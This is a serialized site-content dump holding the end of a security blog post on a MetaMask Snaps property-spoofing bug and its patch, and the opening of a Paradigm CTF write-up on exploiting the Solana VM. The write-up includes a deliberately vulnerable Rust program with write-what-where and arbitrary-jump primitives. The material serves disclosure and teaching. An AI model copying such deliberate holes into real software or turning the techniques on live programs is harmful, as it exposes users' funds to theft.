'transaction'",{"type":23,"tag":504,"props":42294,"children":42295},{"style":5058},[42296],{"type":29,"value":7613},{"type":23,"tag":504,"props":42298,"children":42299},{"class":5016,"line":25872},[42300,42304,42308],{"type":23,"tag":504,"props":42301,"children":42302},{"style":5067},[42303],{"type":29,"value":41413},{"type":23,"tag":504,"props":42305,"children":42306},{"style":5139},[42307],{"type":29,"value":41888},{"type":23,"tag":504,"props":42309,"children":42310},{"style":5058},[42311],{"type":29,"value":5725},{"type":23,"tag":504,"props":42313,"children":42314},{"class":5016,"line":25885},[42315,42320],{"type":23,"tag":504,"props":42316,"children":42317},{"style":5067},[42318],{"type":29,"value":42319},"    default",{"type":23,"tag":504,"props":42321,"children":42322},{"style":5058},[42323],{"type":29,"value":7613},{"type":23,"tag":504,"props":42325,"children":42326},{"class":5016,"line":25898},[42327,42332,42336,42341,42345,42350],{"type":23,"tag":504,"props":42328,"children":42329},{"style":5067},[42330],{"type":29,"value":42331},"      throw",{"type":23,"tag":504,"props":42333,"children":42334},{"style":5030},[42335],{"type":29,"value":33988},{"type":23,"tag":504,"props":42337,"children":42338},{"style":5139},[42339],{"type":29,"value":42340}," Error",{"type":23,"tag":504,"props":42342,"children":42343},{"style":5058},[42344],{"type":29,"value":603},{"type":23,"tag":504,"props":42346,"children":42347},{"style":6297},[42348],{"type":29,"value":42349},"'Method not found.'",{"type":23,"tag":504,"props":42351,"children":42352},{"style":5058},[42353],{"type":29,"value":5888},{"type":23,"tag":504,"props":42355,"children":42356},{"class":5016,"line":25911},[42357],{"type":23,"tag":504,"props":42358,"children":42359},{"style":5058},[42360],{"type":29,"value":7917},{"type":23,"tag":504,"props":42362,"children":42363},{"class":5016,"line":25965},[42364],{"type":23,"tag":504,"props":42365,"children":42366},{"style":5058},[42367],{"type":29,"value":18625},{"type":23,"tag":32,"props":42369,"children":42370},{},[42371,42373,42379,42381,42386],{"type":29,"value":42372},"We set ",{"type":23,"tag":154,"props":42374,"children":42376},{"className":42375},[],[42377],{"type":29,"value":42378},"x.method = \"snap_dialog\"",{"type":29,"value":42380}," to pass the assertion and setup a toJSON function to change this method to ",{"type":23,"tag":154,"props":42382,"children":42384},{"className":42383},[],[42385],{"type":29,"value":41588},{"type":29,"value":42387}," after.",{"type":23,"tag":320,"props":42389,"children":42391},{"id":42390},"mitigation",[42392],{"type":29,"value":42393},"Mitigation",{"type":23,"tag":32,"props":42395,"children":42396},{},[42397,42399,42404,42406,42413],{"type":29,"value":42398},"Metamask mitigated this issue by asserting the arguments after the ",{"type":23,"tag":154,"props":42400,"children":42402},{"className":42401},[],[42403],{"type":29,"value":41132},{"type":29,"value":42405}," function execution. The patch was introduced on commit ",{"type":23,"tag":68,"props":42407,"children":42410},{"href":42408,"rel":42409},"https://github.com/MetaMask/snaps/pull/1762/commits/168ff082102a65e2aad428f44c5b10f9a100c689",[72],[42411],{"type":29,"value":42412},"168ff08",{"type":29,"value":42414}," with the following changes:",{"type":23,"tag":4743,"props":42416,"children":42420},{"className":42417,"code":42418,"language":42419,"meta":7,"style":7},"language-diff shiki shiki-themes slack-dark","const request = async (args: RequestArguments) => {\n-      assertEthereumOutboundRequest(args);\n-      const sanitizedArgs = getSafeJson(args);\n+      const sanitizedArgs = getSafeJson(args) as RequestArguments;\n+      assertEthereumOutboundRequest(sanitizedArgs);\n","diff",[42421],{"type":23,"tag":154,"props":42422,"children":42423},{"__ignoreMap":7},[42424,42432,42440,42448,42456],{"type":23,"tag":504,"props":42425,"children":42426},{"class":5016,"line":5017},[42427],{"type":23,"tag":504,"props":42428,"children":42429},{"style":5058},[42430],{"type":29,"value":42431},"const request = async (args: RequestArguments) => {\n",{"type":23,"tag":504,"props":42433,"children":42434},{"class":5016,"line":4868},[42435],{"type":23,"tag":504,"props":42436,"children":42437},{"style":6297},[42438],{"type":29,"value":42439},"-      assertEthereumOutboundRequest(args);\n",{"type":23,"tag":504,"props":42441,"children":42442},{"class":5016,"line":4876},[42443],{"type":23,"tag":504,"props":42444,"children":42445},{"style":6297},[42446],{"type":29,"value":42447},"-      const sanitizedArgs = getSafeJson(args);\n",{"type":23,"tag":504,"props":42449,"children":42450},{"class":5016,"line":5099},[42451],{"type":23,"tag":504,"props":42452,"children":42453},{"style":5083},[42454],{"type":29,"value":42455},"+      const sanitizedArgs = getSafeJson(args) as RequestArguments;\n",{"type":23,"tag":504,"props":42457,"children":42458},{"class":5016,"line":5203},[42459],{"type":23,"tag":504,"props":42460,"children":42461},{"style":5083},[42462],{"type":29,"value":42463},"+      assertEthereumOutboundRequest(sanitizedArgs);\n",{"type":23,"tag":24,"props":42465,"children":42466},{"id":4832},[42467],{"type":29,"value":4835},{"type":23,"tag":32,"props":42469,"children":42470},{},[42471],{"type":29,"value":42472},"This unique property spoofing vulnerability in the Snaps sandboxing implementation illustrates the wide range of control attackers have in Javascript, which makes designing robust sandbox implementations an extremely complex task.",{"type":23,"tag":32,"props":42474,"children":42475},{},[42476],{"type":29,"value":42477},"Metamask has implemented numerous layers to mitigate potential exploits, and we're proud to help contribute to making Snaps more secure.",{"type":23,"tag":7410,"props":42479,"children":42480},{},[42481],{"type":29,"value":7414},{"title":7,"searchDepth":4868,"depth":4868,"links":42483},[42484,42485,42492,42500],{"id":21007,"depth":4868,"text":21010},{"id":37509,"depth":4868,"text":37512,"children":42486},[42487,42488,42489,42490,42491],{"id":37520,"depth":4876,"text":37523},{"id":37588,"depth":4876,"text":37591},{"id":37624,"depth":4876,"text":37627},{"id":39020,"depth":4876,"text":39023},{"id":39378,"depth":4876,"text":39381},{"id":40164,"depth":4868,"text":40167,"children":42493},[42494,42495,42496,42497,42498,42499],{"id":40170,"depth":4876,"text":40173},{"id":40214,"depth":4876,"text":40217},{"id":41118,"depth":4876,"text":41121},{"id":7707,"depth":4876,"text":7710},{"id":41561,"depth":4876,"text":36885},{"id":42390,"depth":4876,"text":42393},{"id":4832,"depth":4868,"text":4835},"content:blog:2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps",{"_path":42505,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":42506,"description":42507,"author":42508,"image":42510,"date":42512,"isFeatured":15,"onBlogPage":15,"body":42513,"_type":4892,"_id":47933,"_source":4894,"_file":47934,"_stem":47935,"_extension":4897},"/blog/2023-12-11-jumping-around-in-the-vm","Solana: Jumping Around in the VM","An exploration of low-level Solana VM behavior. How to escalate from a powerful memory corruption primitive to full program control.",[42509,7765],"nicola",{"src":42511},"/posts/jumping-around-in-the-vm/cover.png","2023-12-11",{"type":20,"children":42514,"toc":47922},[42515,42529,42549,42554,42558,42571,42596,42602,42607,42622,42976,42991,43256,43272,43915,43921,43926,43939,43947,44159,44167,44470,44478,44621,44629,45154,45160,45172,45185,45199,45204,45972,45977,45985,45990,45996,46008,46073,46078,46091,46104,46110,46138,47289,47302,47344,47349,47354,47368,47508,47529,47550,47557,47608,47616,47627,47640,47645,47769,47782,47884,47888,47901,47906,47918],{"type":23,"tag":32,"props":42516,"children":42517},{},[42518,42520,42527],{"type":29,"value":42519},"In the world of CTFs, ",{"type":23,"tag":68,"props":42521,"children":42524},{"href":42522,"rel":42523},"https://twitter.com/paradigm_ctf",[72],[42525],{"type":29,"value":42526},"Paradigm CTF 2023",{"type":29,"value":42528}," was like no other. Presenting a unique Solana challenge, the goal was to leverage Jump Oriented Programming, a web2 binary exploitation technique, inside the Solana VM to achieve arbitrary CPI execution.",{"type":23,"tag":32,"props":42530,"children":42531},{},[42532,42534,42541,42542],{"type":29,"value":42533},"To succeed in this challenge, a strong understanding of the Solana VM is required. We've explored parts of the Solana VM internals in two previous blog posts: ",{"type":23,"tag":68,"props":42535,"children":42538},{"href":42536,"rel":42537},"https://osec.io/blog/2022-03-14-solana-security-intro",[72],[42539],{"type":29,"value":42540},"Solana: An Auditor's Introduction",{"type":29,"value":4478},{"type":23,"tag":68,"props":42543,"children":42546},{"href":42544,"rel":42545},"https://osec.io/blog/2022-08-27-reverse-engineering-solana",[72],[42547],{"type":29,"value":42548},"Reverse Engineering Solana with Binary Ninja.\n",{"type":23,"tag":32,"props":42550,"children":42551},{},[42552],{"type":29,"value":42553},"In this comprehensive overview, we'll break down critical components of the Solana BPF VM necessary to write a complete memory-corruption exploit. We then turn an arbitrary function call and memory write primitive into a full exploit.",{"type":23,"tag":24,"props":42555,"children":42556},{"id":21007},[42557],{"type":29,"value":21010},{"type":23,"tag":32,"props":42559,"children":42560},{},[42561,42563,42569],{"type":29,"value":42562},"The challenge itself resides into ",{"type":23,"tag":154,"props":42564,"children":42566},{"className":42565},[],[42567],{"type":29,"value":42568},"framework/",{"type":29,"value":42570},", and is composed of 2 parts:",{"type":23,"tag":1022,"props":42572,"children":42573},{},[42574,42585],{"type":23,"tag":143,"props":42575,"children":42576},{},[42577,42583],{"type":23,"tag":154,"props":42578,"children":42580},{"className":42579},[],[42581],{"type":29,"value":42582},"framework/chall/lib.rs",{"type":29,"value":42584},": The on-chain eBPF program that needs to be exploited.",{"type":23,"tag":143,"props":42586,"children":42587},{},[42588,42594],{"type":23,"tag":154,"props":42589,"children":42591},{"className":42590},[],[42592],{"type":29,"value":42593},"framework/src/main.rs",{"type":29,"value":42595},": Program that setups a solana test environment, gets a single instruction and make it possible to users to interact with the on-chain program.",{"type":23,"tag":320,"props":42597,"children":42599},{"id":42598},"vulnerable-program",[42600],{"type":29,"value":42601},"Vulnerable Program",{"type":23,"tag":32,"props":42603,"children":42604},{},[42605],{"type":29,"value":42606},"The program is simple: it parses the input data and does something based on the first byte. Each potential action is quite out of the ordinary though!",{"type":23,"tag":139,"props":42608,"children":42609},{},[42610],{"type":23,"tag":143,"props":42611,"children":42612},{},[42613,42614,42620],{"type":29,"value":9524},{"type":23,"tag":154,"props":42615,"children":42617},{"className":42616},[],[42618],{"type":29,"value":42619},"data[0] == 0",{"type":29,"value":42621}," a function that lets you write-what-where is executed",{"type":23,"tag":4743,"props":42623,"children":42625},{"className":5009,"code":42624,"language":5008,"meta":7,"style":7},"#[inline(never)]\npub fn write(data: &[u8]) {\n    unsafe {\n        let ptr = std::mem::transmute::\u003C[u8; 8], *mut u64>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr.write_volatile(val);\n    }\n}\n",[42626],{"type":23,"tag":154,"props":42627,"children":42628},{"__ignoreMap":7},[42629,42637,42682,42693,42816,42933,42962,42969],{"type":23,"tag":504,"props":42630,"children":42631},{"class":5016,"line":5017},[42632],{"type":23,"tag":504,"props":42633,"children":42634},{"style":5058},[42635],{"type":29,"value":42636},"#[inline(never)]\n",{"type":23,"tag":504,"props":42638,"children":42639},{"class":5016,"line":4868},[42640,42644,42648,42653,42657,42661,42665,42669,42673,42677],{"type":23,"tag":504,"props":42641,"children":42642},{"style":5030},[42643],{"type":29,"value":15736},{"type":23,"tag":504,"props":42645,"children":42646},{"style":5030},[42647],{"type":29,"value":15741},{"type":23,"tag":504,"props":42649,"children":42650},{"style":5139},[42651],{"type":29,"value":42652}," write",{"type":23,"tag":504,"props":42654,"children":42655},{"style":5058},[42656],{"type":29,"value":603},{"type":23,"tag":504,"props":42658,"children":42659},{"style":5041},[42660],{"type":29,"value":5761},{"type":23,"tag":504,"props":42662,"children":42663},{"style":5047},[42664],{"type":29,"value":6533},{"type":23,"tag":504,"props":42666,"children":42667},{"style":5047},[42668],{"type":29,"value":9185},{"type":23,"tag":504,"props":42670,"children":42671},{"style":5058},[42672],{"type":29,"value":1380},{"type":23,"tag":504,"props":42674,"children":42675},{"style":5467},[42676],{"type":29,"value":5470},{"type":23,"tag":504,"props":42678,"children":42679},{"style":5058},[42680],{"type":29,"value":42681},"]) {\n",{"type":23,"tag":504,"props":42683,"children":42684},{"class":5016,"line":4876},[42685,42689],{"type":23,"tag":504,"props":42686,"children":42687},{"style":5030},[42688],{"type":29,"value":15879},{"type":23,"tag":504,"props":42690,"children":42691},{"style":5058},[42692],{"type":29,"value":5333},{"type":23,"tag":504,"props":42694,"children":42695},{"class":5016,"line":5099},[42696,42700,42704,42708,42713,42717,42722,42726,42731,42735,42740,42744,42748,42752,42756,42760,42764,42768,42772,42776,42780,42784,42788,42792,42796,42800,42804,42808,42812],{"type":23,"tag":504,"props":42697,"children":42698},{"style":5030},[42699],{"type":29,"value":5105},{"type":23,"tag":504,"props":42701,"children":42702},{"style":5041},[42703],{"type":29,"value":15903},{"type":23,"tag":504,"props":42705,"children":42706},{"style":5047},[42707],{"type":29,"value":5050},{"type":23,"tag":504,"props":42709,"children":42710},{"style":5058},[42711],{"type":29,"value":42712}," std",{"type":23,"tag":504,"props":42714,"children":42715},{"style":5047},[42716],{"type":29,"value":5530},{"type":23,"tag":504,"props":42718,"children":42719},{"style":5058},[42720],{"type":29,"value":42721},"mem",{"type":23,"tag":504,"props":42723,"children":42724},{"style":5047},[42725],{"type":29,"value":5530},{"type":23,"tag":504,"props":42727,"children":42728},{"style":5139},[42729],{"type":29,"value":42730},"transmute",{"type":23,"tag":504,"props":42732,"children":42733},{"style":5047},[42734],{"type":29,"value":5530},{"type":23,"tag":504,"props":42736,"children":42737},{"style":5058},[42738],{"type":29,"value":42739},"\u003C[",{"type":23,"tag":504,"props":42741,"children":42742},{"style":5467},[42743],{"type":29,"value":5470},{"type":23,"tag":504,"props":42745,"children":42746},{"style":5058},[42747],{"type":29,"value":19275},{"type":23,"tag":504,"props":42749,"children":42750},{"style":5083},[42751],{"type":29,"value":6124},{"type":23,"tag":504,"props":42753,"children":42754},{"style":5058},[42755],{"type":29,"value":25101},{"type":23,"tag":504,"props":42757,"children":42758},{"style":5047},[42759],{"type":29,"value":6613},{"type":23,"tag":504,"props":42761,"children":42762},{"style":5030},[42763],{"type":29,"value":5783},{"type":23,"tag":504,"props":42765,"children":42766},{"style":5467},[42767],{"type":29,"value":7905},{"type":23,"tag":504,"props":42769,"children":42770},{"style":5058},[42771],{"type":29,"value":9655},{"type":23,"tag":504,"props":42773,"children":42774},{"style":5041},[42775],{"type":29,"value":5761},{"type":23,"tag":504,"props":42777,"children":42778},{"style":5058},[42779],{"type":29,"value":1380},{"type":23,"tag":504,"props":42781,"children":42782},{"style":5047},[42783],{"type":29,"value":5091},{"type":23,"tag":504,"props":42785,"children":42786},{"style":5083},[42787],{"type":29,"value":6124},{"type":23,"tag":504,"props":42789,"children":42790},{"style":5058},[42791],{"type":29,"value":1422},{"type":23,"tag":504,"props":42793,"children":42794},{"style":5047},[42795],{"type":29,"value":357},{"type":23,"tag":504,"props":42797,"children":42798},{"style":5139},[42799],{"type":29,"value":28215},{"type":23,"tag":504,"props":42801,"children":42802},{"style":5058},[42803],{"type":29,"value":15925},{"type":23,"tag":504,"props":42805,"children":42806},{"style":5047},[42807],{"type":29,"value":357},{"type":23,"tag":504,"props":42809,"children":42810},{"style":5139},[42811],{"type":29,"value":5720},{"type":23,"tag":504,"props":42813,"children":42814},{"style":5058},[42815],{"type":29,"value":17471},{"type":23,"tag":504,"props":42817,"children":42818},{"class":5016,"line":5203},[42819,42823,42828,42832,42836,42840,42844,42848,42852,42856,42860,42864,42868,42872,42876,42880,42884,42888,42892,42896,42900,42905,42909,42913,42917,42921,42925,42929],{"type":23,"tag":504,"props":42820,"children":42821},{"style":5030},[42822],{"type":29,"value":5105},{"type":23,"tag":504,"props":42824,"children":42825},{"style":5041},[42826],{"type":29,"value":42827}," val",{"type":23,"tag":504,"props":42829,"children":42830},{"style":5047},[42831],{"type":29,"value":5050},{"type":23,"tag":504,"props":42833,"children":42834},{"style":5058},[42835],{"type":29,"value":42712},{"type":23,"tag":504,"props":42837,"children":42838},{"style":5047},[42839],{"type":29,"value":5530},{"type":23,"tag":504,"props":42841,"children":42842},{"style":5058},[42843],{"type":29,"value":42721},{"type":23,"tag":504,"props":42845,"children":42846},{"style":5047},[42847],{"type":29,"value":5530},{"type":23,"tag":504,"props":42849,"children":42850},{"style":5139},[42851],{"type":29,"value":42730},{"type":23,"tag":504,"props":42853,"children":42854},{"style":5047},[42855],{"type":29,"value":5530},{"type":23,"tag":504,"props":42857,"children":42858},{"style":5058},[42859],{"type":29,"value":42739},{"type":23,"tag":504,"props":42861,"children":42862},{"style":5467},[42863],{"type":29,"value":5470},{"type":23,"tag":504,"props":42865,"children":42866},{"style":5058},[42867],{"type":29,"value":19275},{"type":23,"tag":504,"props":42869,"children":42870},{"style":5083},[42871],{"type":29,"value":6124},{"type":23,"tag":504,"props":42873,"children":42874},{"style":5058},[42875],{"type":29,"value":25101},{"type":23,"tag":504,"props":42877,"children":42878},{"style":5467},[42879],{"type":29,"value":10087},{"type":23,"tag":504,"props":42881,"children":42882},{"style":5058},[42883],{"type":29,"value":9655},{"type":23,"tag":504,"props":42885,"children":42886},{"style":5041},[42887],{"type":29,"value":5761},{"type":23,"tag":504,"props":42889,"children":42890},{"style":5058},[42891],{"type":29,"value":1380},{"type":23,"tag":504,"props":42893,"children":42894},{"style":5083},[42895],{"type":29,"value":6124},{"type":23,"tag":504,"props":42897,"children":42898},{"style":5047},[42899],{"type":29,"value":5091},{"type":23,"tag":504,"props":42901,"children":42902},{"style":5083},[42903],{"type":29,"value":42904},"16",{"type":23,"tag":504,"props":42906,"children":42907},{"style":5058},[42908],{"type":29,"value":1422},{"type":23,"tag":504,"props":42910,"children":42911},{"style":5047},[42912],{"type":29,"value":357},{"type":23,"tag":504,"props":42914,"children":42915},{"style":5139},[42916],{"type":29,"value":28215},{"type":23,"tag":504,"props":42918,"children":42919},{"style":5058},[42920],{"type":29,"value":15925},{"type":23,"tag":504,"props":42922,"children":42923},{"style":5047},[42924],{"type":29,"value":357},{"type":23,"tag":504,"props":42926,"children":42927},{"style":5139},[42928],{"type":29,"value":5720},{"type":23,"tag":504,"props":42930,"children":42931},{"style":5058},[42932],{"type":29,"value":17471},{"type":23,"tag":504,"props":42934,"children":42935},{"class":5016,"line":5308},[42936,42941,42945,42950,42954,42958],{"type":23,"tag":504,"props":42937,"children":42938},{"style":5041},[42939],{"type":29,"value":42940},"        ptr",{"type":23,"tag":504,"props":42942,"children":42943},{"style":5047},[42944],{"type":29,"value":357},{"type":23,"tag":504,"props":42946,"children":42947},{"style":5139},[42948],{"type":29,"value":42949},"write_volatile",{"type":23,"tag":504,"props":42951,"children":42952},{"style":5058},[42953],{"type":29,"value":603},{"type":23,"tag":504,"props":42955,"children":42956},{"style":5041},[42957],{"type":29,"value":14678},{"type":23,"tag":504,"props":42959,"children":42960},{"style":5058},[42961],{"type":29,"value":5888},{"type":23,"tag":504,"props":42963,"children":42964},{"class":5016,"line":5336},[42965],{"type":23,"tag":504,"props":42966,"children":42967},{"style":5058},[42968],{"type":29,"value":5403},{"type":23,"tag":504,"props":42970,"children":42971},{"class":5016,"line":5349},[42972],{"type":23,"tag":504,"props":42973,"children":42974},{"style":5058},[42975],{"type":29,"value":5965},{"type":23,"tag":139,"props":42977,"children":42978},{"start":4868},[42979],{"type":23,"tag":143,"props":42980,"children":42981},{},[42982,42983,42989],{"type":29,"value":9524},{"type":23,"tag":154,"props":42984,"children":42986},{"className":42985},[],[42987],{"type":29,"value":42988},"data[0] == 1",{"type":29,"value":42990},", a CPI to a non-existent program is executed:",{"type":23,"tag":4743,"props":42992,"children":42994},{"className":5009,"code":42993,"language":5008,"meta":7,"style":7},"#[inline(never)]\npub fn call(data: &[u8]) {\n    let ix = Instruction {\n        program_id: pubkey!(\"osecio5555555555555551111111111111111111111\"),\n        data: data.try_into().unwrap(),\n        accounts: vec![]\n    };\n\n    invoke_signed_unchecked(\n        &ix,\n        &[],\n        &[],\n    ).unwrap();\n}\n",[42995],{"type":23,"tag":154,"props":42996,"children":42997},{"__ignoreMap":7},[42998,43005,43049,43074,43104,43144,43165,43172,43179,43191,43207,43219,43230,43249],{"type":23,"tag":504,"props":42999,"children":43000},{"class":5016,"line":5017},[43001],{"type":23,"tag":504,"props":43002,"children":43003},{"style":5058},[43004],{"type":29,"value":42636},{"type":23,"tag":504,"props":43006,"children":43007},{"class":5016,"line":4868},[43008,43012,43016,43021,43025,43029,43033,43037,43041,43045],{"type":23,"tag":504,"props":43009,"children":43010},{"style":5030},[43011],{"type":29,"value":15736},{"type":23,"tag":504,"props":43013,"children":43014},{"style":5030},[43015],{"type":29,"value":15741},{"type":23,"tag":504,"props":43017,"children":43018},{"style":5139},[43019],{"type":29,"value":43020}," call",{"type":23,"tag":504,"props":43022,"children":43023},{"style":5058},[43024],{"type":29,"value":603},{"type":23,"tag":504,"props":43026,"children":43027},{"style":5041},[43028],{"type":29,"value":5761},{"type":23,"tag":504,"props":43030,"children":43031},{"style":5047},[43032],{"type":29,"value":6533},{"type":23,"tag":504,"props":43034,"children":43035},{"style":5047},[43036],{"type":29,"value":9185},{"type":23,"tag":504,"props":43038,"children":43039},{"style":5058},[43040],{"type":29,"value":1380},{"type":23,"tag":504,"props":43042,"children":43043},{"style":5467},[43044],{"type":29,"value":5470},{"type":23,"tag":504,"props":43046,"children":43047},{"style":5058},[43048],{"type":29,"value":42681},{"type":23,"tag":504,"props":43050,"children":43051},{"class":5016,"line":4876},[43052,43056,43061,43065,43070],{"type":23,"tag":504,"props":43053,"children":43054},{"style":5030},[43055],{"type":29,"value":5033},{"type":23,"tag":504,"props":43057,"children":43058},{"style":5041},[43059],{"type":29,"value":43060}," ix",{"type":23,"tag":504,"props":43062,"children":43063},{"style":5047},[43064],{"type":29,"value":5050},{"type":23,"tag":504,"props":43066,"children":43067},{"style":5467},[43068],{"type":29,"value":43069}," Instruction",{"type":23,"tag":504,"props":43071,"children":43072},{"style":5058},[43073],{"type":29,"value":5333},{"type":23,"tag":504,"props":43075,"children":43076},{"class":5016,"line":5099},[43077,43082,43086,43091,43095,43100],{"type":23,"tag":504,"props":43078,"children":43079},{"style":5041},[43080],{"type":29,"value":43081},"        program_id",{"type":23,"tag":504,"props":43083,"children":43084},{"style":5047},[43085],{"type":29,"value":6533},{"type":23,"tag":504,"props":43087,"children":43088},{"style":5139},[43089],{"type":29,"value":43090}," pubkey!",{"type":23,"tag":504,"props":43092,"children":43093},{"style":5058},[43094],{"type":29,"value":603},{"type":23,"tag":504,"props":43096,"children":43097},{"style":6297},[43098],{"type":29,"value":43099},"\"osecio5555555555555551111111111111111111111\"",{"type":23,"tag":504,"props":43101,"children":43102},{"style":5058},[43103],{"type":29,"value":8780},{"type":23,"tag":504,"props":43105,"children":43106},{"class":5016,"line":5203},[43107,43112,43116,43120,43124,43128,43132,43136,43140],{"type":23,"tag":504,"props":43108,"children":43109},{"style":5041},[43110],{"type":29,"value":43111},"        data",{"type":23,"tag":504,"props":43113,"children":43114},{"style":5047},[43115],{"type":29,"value":6533},{"type":23,"tag":504,"props":43117,"children":43118},{"style":5041},[43119],{"type":29,"value":17151},{"type":23,"tag":504,"props":43121,"children":43122},{"style":5047},[43123],{"type":29,"value":357},{"type":23,"tag":504,"props":43125,"children":43126},{"style":5139},[43127],{"type":29,"value":28215},{"type":23,"tag":504,"props":43129,"children":43130},{"style":5058},[43131],{"type":29,"value":15925},{"type":23,"tag":504,"props":43133,"children":43134},{"style":5047},[43135],{"type":29,"value":357},{"type":23,"tag":504,"props":43137,"children":43138},{"style":5139},[43139],{"type":29,"value":5720},{"type":23,"tag":504,"props":43141,"children":43142},{"style":5058},[43143],{"type":29,"value":5540},{"type":23,"tag":504,"props":43145,"children":43146},{"class":5016,"line":5308},[43147,43152,43156,43160],{"type":23,"tag":504,"props":43148,"children":43149},{"style":5041},[43150],{"type":29,"value":43151},"        accounts",{"type":23,"tag":504,"props":43153,"children":43154},{"style":5047},[43155],{"type":29,"value":6533},{"type":23,"tag":504,"props":43157,"children":43158},{"style":5139},[43159],{"type":29,"value":5788},{"type":23,"tag":504,"props":43161,"children":43162},{"style":5058},[43163],{"type":29,"value":43164},"[]\n",{"type":23,"tag":504,"props":43166,"children":43167},{"class":5016,"line":5336},[43168],{"type":23,"tag":504,"props":43169,"children":43170},{"style":5058},[43171],{"type":29,"value":41053},{"type":23,"tag":504,"props":43173,"children":43174},{"class":5016,"line":5349},[43175],{"type":23,"tag":504,"props":43176,"children":43177},{"emptyLinePlaceholder":15},[43178],{"type":29,"value":5734},{"type":23,"tag":504,"props":43180,"children":43181},{"class":5016,"line":5367},[43182,43187],{"type":23,"tag":504,"props":43183,"children":43184},{"style":5139},[43185],{"type":29,"value":43186},"    invoke_signed_unchecked",{"type":23,"tag":504,"props":43188,"children":43189},{"style":5058},[43190],{"type":29,"value":5512},{"type":23,"tag":504,"props":43192,"children":43193},{"class":5016,"line":5388},[43194,43198,43203],{"type":23,"tag":504,"props":43195,"children":43196},{"style":5047},[43197],{"type":29,"value":5520},{"type":23,"tag":504,"props":43199,"children":43200},{"style":5041},[43201],{"type":29,"value":43202},"ix",{"type":23,"tag":504,"props":43204,"children":43205},{"style":5058},[43206],{"type":29,"value":5557},{"type":23,"tag":504,"props":43208,"children":43209},{"class":5016,"line":5397},[43210,43214],{"type":23,"tag":504,"props":43211,"children":43212},{"style":5047},[43213],{"type":29,"value":5520},{"type":23,"tag":504,"props":43215,"children":43216},{"style":5058},[43217],{"type":29,"value":43218},"[],\n",{"type":23,"tag":504,"props":43220,"children":43221},{"class":5016,"line":5649},[43222,43226],{"type":23,"tag":504,"props":43223,"children":43224},{"style":5047},[43225],{"type":29,"value":5520},{"type":23,"tag":504,"props":43227,"children":43228},{"style":5058},[43229],{"type":29,"value":43218},{"type":23,"tag":504,"props":43231,"children":43232},{"class":5016,"line":5666},[43233,43237,43241,43245],{"type":23,"tag":504,"props":43234,"children":43235},{"style":5058},[43236],{"type":29,"value":5711},{"type":23,"tag":504,"props":43238,"children":43239},{"style":5047},[43240],{"type":29,"value":357},{"type":23,"tag":504,"props":43242,"children":43243},{"style":5139},[43244],{"type":29,"value":5720},{"type":23,"tag":504,"props":43246,"children":43247},{"style":5058},[43248],{"type":29,"value":5725},{"type":23,"tag":504,"props":43250,"children":43251},{"class":5016,"line":5683},[43252],{"type":23,"tag":504,"props":43253,"children":43254},{"style":5058},[43255],{"type":29,"value":5965},{"type":23,"tag":139,"props":43257,"children":43258},{"start":4876},[43259],{"type":23,"tag":143,"props":43260,"children":43261},{},[43262,43264,43270],{"type":29,"value":43263},"Finally, if ",{"type":23,"tag":154,"props":43265,"children":43267},{"className":43266},[],[43268],{"type":29,"value":43269},"data[0]",{"type":29,"value":43271}," is neither 0 nor 1, a function that lets you jump to an arbitrary address, passing an arbitrary value as the first parameter is executed:",{"type":23,"tag":4743,"props":43273,"children":43275},{"className":5009,"code":43274,"language":5008,"meta":7,"style":7},"#[inline(never)]\npub fn process(mut data: &[u8]) {\n    unsafe {\n        let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr(val);\n\n        data = &data[16..];\n\n        let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr(val);\n    }\n}\n",[43276],{"type":23,"tag":154,"props":43277,"children":43278},{"__ignoreMap":7},[43279,43286,43334,43345,43465,43580,43599,43606,43641,43648,43767,43882,43901,43908],{"type":23,"tag":504,"props":43280,"children":43281},{"class":5016,"line":5017},[43282],{"type":23,"tag":504,"props":43283,"children":43284},{"style":5058},[43285],{"type":29,"value":42636},{"type":23,"tag":504,"props":43287,"children":43288},{"class":5016,"line":4868},[43289,43293,43297,43302,43306,43310,43314,43318,43322,43326,43330],{"type":23,"tag":504,"props":43290,"children":43291},{"style":5030},[43292],{"type":29,"value":15736},{"type":23,"tag":504,"props":43294,"children":43295},{"style":5030},[43296],{"type":29,"value":15741},{"type":23,"tag":504,"props":43298,"children":43299},{"style":5139},[43300],{"type":29,"value":43301}," process",{"type":23,"tag":504,"props":43303,"children":43304},{"style":5058},[43305],{"type":29,"value":603},{"type":23,"tag":504,"props":43307,"children":43308},{"style":5030},[43309],{"type":29,"value":5783},{"type":23,"tag":504,"props":43311,"children":43312},{"style":5041},[43313],{"type":29,"value":17151},{"type":23,"tag":504,"props":43315,"children":43316},{"style":5047},[43317],{"type":29,"value":6533},{"type":23,"tag":504,"props":43319,"children":43320},{"style":5047},[43321],{"type":29,"value":9185},{"type":23,"tag":504,"props":43323,"children":43324},{"style":5058},[43325],{"type":29,"value":1380},{"type":23,"tag":504,"props":43327,"children":43328},{"style":5467},[43329],{"type":29,"value":5470},{"type":23,"tag":504,"props":43331,"children":43332},{"style":5058},[43333],{"type":29,"value":42681},{"type":23,"tag":504,"props":43335,"children":43336},{"class":5016,"line":4876},[43337,43341],{"type":23,"tag":504,"props":43338,"children":43339},{"style":5030},[43340],{"type":29,"value":15879},{"type":23,"tag":504,"props":43342,"children":43343},{"style":5058},[43344],{"type":29,"value":5333},{"type":23,"tag":504,"props":43346,"children":43347},{"class":5016,"line":5099},[43348,43352,43356,43360,43364,43368,43372,43376,43380,43384,43388,43392,43396,43400,43404,43408,43412,43416,43421,43425,43429,43433,43437,43441,43445,43449,43453,43457,43461],{"type":23,"tag":504,"props":43349,"children":43350},{"style":5030},[43351],{"type":29,"value":5105},{"type":23,"tag":504,"props":43353,"children":43354},{"style":5041},[43355],{"type":29,"value":15903},{"type":23,"tag":504,"props":43357,"children":43358},{"style":5047},[43359],{"type":29,"value":5050},{"type":23,"tag":504,"props":43361,"children":43362},{"style":5058},[43363],{"type":29,"value":42712},{"type":23,"tag":504,"props":43365,"children":43366},{"style":5047},[43367],{"type":29,"value":5530},{"type":23,"tag":504,"props":43369,"children":43370},{"style":5058